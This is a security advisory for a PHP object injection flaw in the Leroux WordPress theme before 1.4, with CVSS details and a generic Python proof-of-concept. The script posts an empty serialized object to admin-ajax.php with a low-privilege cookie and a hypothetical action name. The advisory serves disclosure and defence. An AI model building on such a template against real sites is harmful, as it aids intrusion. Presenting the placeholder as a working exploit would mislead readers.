Deserialization of Untrusted Data vulnerability in Elated-Themes Leroux leroux allows Object Injection.This issue affects Leroux: from n/a through < 1.4.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Elated-Themes Leroux < 1.4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-32507 (PHP Object Injection)
# This script demonstrates how a malicious payload might be sent to the vulnerable endpoint.
import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
# A generic PHP serialized object payload
# In a real-world scenario, this would be a specific gadget chain payload
# designed to achieve a specific goal (e.g., RCE).
payload = 'O:8:"StdClass":0:{}'
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "wordpress_logged_in_xxx=..." # Low privilege cookie
}
data = {
"action": "leroux_ajax_action", # Hypothetical action name
"data": payload
}
try:
response = requests.post(target_url, headers=headers, data=data)
if response.status_code == 200:
print("[+] Payload sent successfully.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")